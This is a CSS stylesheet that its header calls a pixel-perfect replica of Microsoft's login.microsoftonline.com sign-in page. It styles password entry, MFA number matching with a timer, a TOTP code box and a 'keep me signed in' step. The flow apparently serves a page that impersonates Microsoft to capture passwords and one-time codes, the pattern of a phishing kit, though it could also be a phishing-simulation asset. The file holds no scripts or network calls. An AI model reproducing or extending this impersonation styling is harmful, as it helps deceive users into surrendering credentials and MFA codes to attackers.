/*
 * Microsoft 365 Login — pixel-perfect replica
 * Matches login.microsoftonline.com exactly
 */

*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

:root {
  --blue:        #0067b8;
  --blue-hover:  #005da6;
  --blue-dark:   #004b85;
  --text:        #1b1b1b;
  --gray:        #616161;
  --light-gray:  #f3f2f1;
  --border:      rgba(0,0,0,.6);
  --red:         #a80000;
  --red-bg:      #fde7e9;
  --shadow:      0 2px 6px rgba(0,0,0,.2);
}

html, body {
  height: 100%; min-height: 100vh;
  font-family: "Segoe UI", -apple-system, BlinkMacSystemFont,
               "Roboto", "Helvetica Neue", Arial, sans-serif;
  font-size: 15px;
  color: var(--text);
  background: #fff;
  -webkit-font-smoothing: antialiased;
}

/* ══════════════════════════════════════════════════════
   PAGE BACKGROUND — Microsoft Fluent diagonal shapes
══════════════════════════════════════════════════════ */
.ms-page {
  min-height: 100vh;
  min-height: 100dvh;
  display: flex;
  flex-direction: column;
  position: relative;
  overflow: hidden;
  /* Base gradient identical to login.microsoftonline.com */
  background: linear-gradient(135deg, #e8f0fe 0%, #f3f6fd 40%, #eef2fc 100%);
}

/* Diagonal polygon shapes — Microsoft's signature background */
.ms-page::before,
.ms-page::after {
  content: '';
  position: absolute;
  pointer-events: none;
}
/* Large top-right blue band */
.ms-page::before {
  top: -120px; right: -180px;
  width: 700px; height: 700px;
  background: linear-gradient(135deg, rgba(0,120,212,.18) 0%, rgba(0,103,184,.08) 60%, transparent 100%);
  clip-path: polygon(30% 0%, 100% 0%, 100% 70%, 55% 100%, 0% 60%);
  transform: rotate(-8deg);
}
/* Bottom-left accent */
.ms-page::after {
  bottom: -80px; left: -120px;
  width: 520px; height: 520px;
  background: linear-gradient(315deg, rgba(0,120,212,.12) 0%, rgba(0,188,242,.06) 60%, transparent 100%);
  clip-path: polygon(0% 30%, 60% 0%, 100% 40%, 70% 100%, 0% 100%);
  transform: rotate(6deg);
}

/* ══════════════════════════════════════════════════════
   CARD WRAPPER
══════════════════════════════════════════════════════ */
.ms-wrap {
  flex: 1;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 28px 16px 20px;
  position: relative;
  z-index: 1;
}

/* ══════════════════════════════════════════════════════
   CARD  (exact Microsoft spec)
══════════════════════════════════════════════════════ */
.ms-box {
  background: #fff;
  box-shadow: var(--shadow);
  width: 100%;
  max-width: 440px;
  padding: 44px;
}

/* ══════════════════════════════════════════════════════
   MICROSOFT LOGO
══════════════════════════════════════════════════════ */
.ms-logo-wrap {
  margin-bottom: 16px;
  display: block;
  line-height: 0;
}

/* ══════════════════════════════════════════════════════
   HEADING
══════════════════════════════════════════════════════ */
.ms-heading {
  font-size: 24px;
  font-weight: 600;
  line-height: 1.2;
  color: var(--text);
  margin-bottom: 16px;
  letter-spacing: -.01em;
}

/* ══════════════════════════════════════════════════════
   DESCRIPTION TEXT
══════════════════════════════════════════════════════ */
.ms-sub {
  font-size: 13px;
  color: var(--text);
  margin-bottom: 20px;
  line-height: 1.5;
}

/* ══════════════════════════════════════════════════════
   INPUT  (exact Microsoft — full 1px border, no radius)
══════════════════════════════════════════════════════ */
.ms-field {
  margin-bottom: 8px;
}

.ms-input {
  display: block;
  width: 100%;
  height: 36px;
  padding: 4px 0 4px 0;
  font-family: inherit;
  font-size: 15px;
  color: var(--text);
  background: transparent;
  border: none;
  border-bottom: 1px solid var(--border);
  border-radius: 0;
  outline: none;
  transition: border-color .1s;
  -webkit-appearance: none;
  appearance: none;
}
.ms-input::placeholder           { color: #767676; font-size: 15px; }
.ms-input:hover                  { border-bottom-color: #000; }
.ms-input:focus                  { border-bottom-color: var(--blue); border-bottom-width: 2px; }
.ms-input.is-error               { border-bottom-color: var(--red); border-bottom-width: 2px; }

/* password wrapper */
.ms-pw-wrap                      { position: relative; }
.ms-pw-wrap .ms-input            { padding-right: 36px; }
.ms-pw-toggle {
  position: absolute; right: 0; bottom: 4px;
  width: 32px; height: 28px;
  background: none; border: none; cursor: pointer;
  display: flex; align-items: center; justify-content: center;
  color: #666;
}
.ms-pw-toggle:hover              { color: var(--text); }

/* ══════════════════════════════════════════════════════
   SIGN-IN OPTIONS panel (below the card)
══════════════════════════════════════════════════════ */
.ms-signin-opts {
  width: 100%;
  max-width: 440px;
  margin-top: 4px;
  background: #fff;
  box-shadow: var(--shadow);
  padding: 14px 20px;
  display: flex;
  align-items: center;
  gap: 12px;
  cursor: pointer;
  text-decoration: none;
  color: var(--blue);
  font-size: 13px;
  transition: background .1s;
}
.ms-signin-opts:hover            { background: #f3f2f1; text-decoration: none; }
.ms-signin-opts svg              { flex-shrink: 0; color: var(--gray); }

/* ══════════════════════════════════════════════════════
   LINKS
══════════════════════════════════════════════════════ */
.ms-link {
  color: var(--blue);
  text-decoration: none;
  font-size: 13px;
  cursor: pointer;
}
.ms-link:hover                   { text-decoration: underline; color: var(--blue-dark); }

.ms-link-block {
  display: block;
  color: var(--blue);
  text-decoration: none;
  font-size: 13px;
  margin-top: 8px;
}
.ms-link-block:hover             { text-decoration: underline; }

/* ══════════════════════════════════════════════════════
   BUTTON ROW
══════════════════════════════════════════════════════ */
.ms-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  margin-top: 20px;
  gap: 8px;
  flex-wrap: wrap;
}

/* PRIMARY BUTTON — exact Microsoft */
.ms-btn {
  height: 32px;
  min-width: 108px;
  padding: 0 12px;
  background: var(--blue);
  color: #fff;
  font-family: inherit;
  font-size: 15px;
  font-weight: 600;
  border: none;
  border-radius: 0;
  cursor: pointer;
  letter-spacing: .01em;
  transition: background .1s;
  flex-shrink: 0;
  -webkit-appearance: none;
}
.ms-btn:hover                    { background: var(--blue-hover); }
.ms-btn:active                   { background: var(--blue-dark); }
.ms-btn:focus-visible            { outline: 2px solid var(--blue); outline-offset: 2px; }
.ms-btn:disabled                 { opacity: .6; cursor: default; }

/* BACK BUTTON */
.ms-back {
  background: none; border: none; cursor: pointer;
  color: var(--blue); font-family: inherit;
  font-size: 13px; padding: 0;
  display: flex; align-items: center; gap: 4px;
  min-height: 32px;
}
.ms-back:hover                   { text-decoration: underline; color: var(--blue-dark); }

/* ══════════════════════════════════════════════════════
   ERROR BOX
══════════════════════════════════════════════════════ */
.ms-err {
  display: none;
  background: var(--red-bg);
  color: var(--red);
  font-size: 13px;
  line-height: 1.4;
  padding: 8px 12px;
  margin-bottom: 12px;
}
.ms-err.show                     { display: flex; gap: 8px; align-items: flex-start; }
.ms-err svg                      { flex-shrink: 0; margin-top: 1px; }

/* ══════════════════════════════════════════════════════
   ACCOUNT PILL  (step 2 header)
══════════════════════════════════════════════════════ */
.ms-pill {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  border: 1px solid #8a8886;
  border-radius: 20px;
  padding: 5px 10px 5px 5px;
  background: #fff;
  cursor: pointer;
  font-family: inherit;
  font-size: 13px;
  color: var(--text);
  margin-bottom: 20px;
  max-width: 100%;
  transition: background .12s;
}
.ms-pill:hover                   { background: #f3f2f1; }
.ms-pill .av {
  width: 28px; height: 28px; border-radius: 50%;
  background: var(--blue); color: #fff;
  font-size: 12px; font-weight: 700;
  display: flex; align-items: center; justify-content: center;
  flex-shrink: 0;
}
.ms-pill .em {
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  max-width: 230px;
}

/* ══════════════════════════════════════════════════════
   DIVIDER
══════════════════════════════════════════════════════ */
.ms-or {
  text-align: center; position: relative;
  margin: 16px 0; font-size: 12px; color: var(--gray);
}
.ms-or::before, .ms-or::after {
  content: ''; position: absolute; top: 50%;
  width: 44%; height: 1px; background: #d2d0ce;
}
.ms-or::before { left: 0; } .ms-or::after { right: 0; }

/* ══════════════════════════════════════════════════════
   SPINNER OVERLAY
══════════════════════════════════════════════════════ */
.ms-spinner-wrap {
  display: none;
  position: fixed; inset: 0; z-index: 1000;
  background: rgba(255,255,255,.82);
  align-items: center; justify-content: center;
  flex-direction: column; gap: 14px;
}
.ms-spinner-wrap.show            { display: flex; }
.ms-spinner {
  width: 36px; height: 36px;
  border: 3px solid #e0e0e0;
  border-top-color: var(--blue);
  border-radius: 50%;
  animation: _spin .75s linear infinite;
}
@keyframes _spin                 { to { transform: rotate(360deg); } }
.ms-spinner-label                { font-size: 13px; color: var(--gray); }

/* ══════════════════════════════════════════════════════
   STEP SYSTEM
══════════════════════════════════════════════════════ */
.step                            { display: none; }
.step.on                         { display: block; animation: _fade .15s ease; }
@keyframes _fade                 { from { opacity:0; transform:translateY(6px); } to { opacity:1; } }

/* ══════════════════════════════════════════════════════
   MFA — number matching boxes
══════════════════════════════════════════════════════ */
.ms-mfa-nums {
  display: flex; gap: 12px; justify-content: center; margin: 24px 0 8px;
}
.ms-num {
  width: 80px; height: 80px; border-radius: 4px;
  border: 1.5px solid #d2d0ce;
  display: flex; align-items: center; justify-content: center;
  font-size: 26px; font-weight: 700;
  cursor: pointer; user-select: none;
  transition: border-color .1s, background .1s, color .1s;
}
.ms-num:hover                    { border-color: var(--blue); background: #deecf9; color: var(--blue); }
.ms-num:active, .ms-num.picked  { border-color: var(--blue); background: var(--blue); color: #fff; }

/* timer bar */
.ms-timer                        { height: 3px; background: #edebe9; margin-bottom: 14px; overflow: hidden; }
.ms-timer-fill                   { height: 100%; background: var(--blue); width: 100%;
                                   animation: _drain var(--t,60s) linear forwards; }
@keyframes _drain                { to { width: 0; } }

/* TOTP input */
.ms-code {
  width: 100%; height: 52px;
  border: 1px solid var(--border); border-radius: 0; outline: none;
  font-size: 26px; font-weight: 600; letter-spacing: 10px;
  text-align: center; font-family: 'Courier New', monospace;
  -webkit-appearance: none;
}
.ms-code:focus                   { border-color: var(--blue); box-shadow: 0 0 0 1px var(--blue); }

/* TOTP section (hidden by default) */
.totp-sec                        { display: none; margin-top: 16px; }
.totp-sec.show                   { display: block; }

/* ══════════════════════════════════════════════════════
   KMSI page
══════════════════════════════════════════════════════ */
.ms-kmsi-img                     { display: block; margin: 0 auto 24px; width: 130px; }
.ms-kmsi-yes, .ms-kmsi-no {
  display: block; width: 100%; height: 36px;
  font-family: inherit; font-size: 15px; font-weight: 600;
  cursor: pointer; border: none; border-radius: 0;
  transition: background .1s;
}
.ms-kmsi-yes                     { background: var(--blue); color: #fff; margin-bottom: 8px; }
.ms-kmsi-yes:hover               { background: var(--blue-hover); }
.ms-kmsi-no                      { background: #fff; color: var(--text); border: 1px solid #8a8886; }
.ms-kmsi-no:hover                { background: #f3f2f1; }
.ms-kmsi-cb {
  display: flex; align-items: center; gap: 8px;
  font-size: 13px; cursor: pointer; margin-bottom: 20px;
}
.ms-kmsi-cb input                { width: 16px; height: 16px; accent-color: var(--blue); flex-shrink: 0; }
.ms-kmsi-note                    { font-size: 12px; color: var(--gray); margin-top: 14px; line-height: 1.5; }

/* ══════════════════════════════════════════════════════
   FOOTER  (exact Microsoft footer)
══════════════════════════════════════════════════════ */
.ms-footer {
  position: relative;
  z-index: 1;
  background: rgba(0,0,0,.55);
  padding: 10px 24px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  flex-wrap: wrap;
  gap: 6px;
  flex-shrink: 0;
}
.ms-footer-links                 { display: flex; flex-wrap: wrap; gap: 16px; }
.ms-footer a                     { color: rgba(255,255,255,.85); font-size: 12px; text-decoration: none; }
.ms-footer a:hover               { color: #fff; text-decoration: underline; }
.ms-footer-copy                  { color: rgba(255,255,255,.6); font-size: 12px; }

/* ══════════════════════════════════════════════════════
   RESPONSIVE
══════════════════════════════════════════════════════ */

/* tablet */
@media (max-width: 768px) {
  .ms-box                        { padding: 36px 32px; max-width: 460px; }
}

/* phone — card goes full screen (identical to real Microsoft mobile) */
@media (max-width: 560px) {
  .ms-page                       { background: #fff; }
  .ms-wrap                       { padding: 0; align-items: stretch; }
  .ms-box {
    max-width: 100%; box-shadow: none;
    padding: 28px 24px;
    min-height: 100dvh;
    display: flex; flex-direction: column;
  }
  .ms-heading                    { font-size: 20px; }
  .ms-btn                        { min-width: auto; }
  .ms-row                        { flex-direction: column-reverse; align-items: flex-start; }
  .ms-btn                        { width: 100%; height: 40px; font-size: 15px; }
  .ms-pill .em                   { max-width: calc(100vw - 140px); }
  .ms-mfa-nums                   { gap: 8px; }
  .ms-num                        { width: 88px; height: 88px; font-size: 28px; }
  .ms-footer                     { padding: 10px 16px; }
  .ms-footer-links               { gap: 10px; }
}

/* very small phones */
@media (max-width: 380px) {
  .ms-box                        { padding: 24px 20px; }
  .ms-num                        { width: 78px; height: 78px; font-size: 24px; }
  .ms-heading                    { font-size: 19px; }
}

/* landscape phone */
@media (max-height: 520px) and (orientation: landscape) {
  .ms-wrap                       { align-items: flex-start; }
  .ms-box                        { min-height: auto; padding: 24px; }
}

/* touch: no hover effects */
@media (hover: none) {
  .ms-btn:hover                  { background: var(--blue); }
  .ms-num:hover                  { border-color: #d2d0ce; background: #fff; color: var(--text); }
}
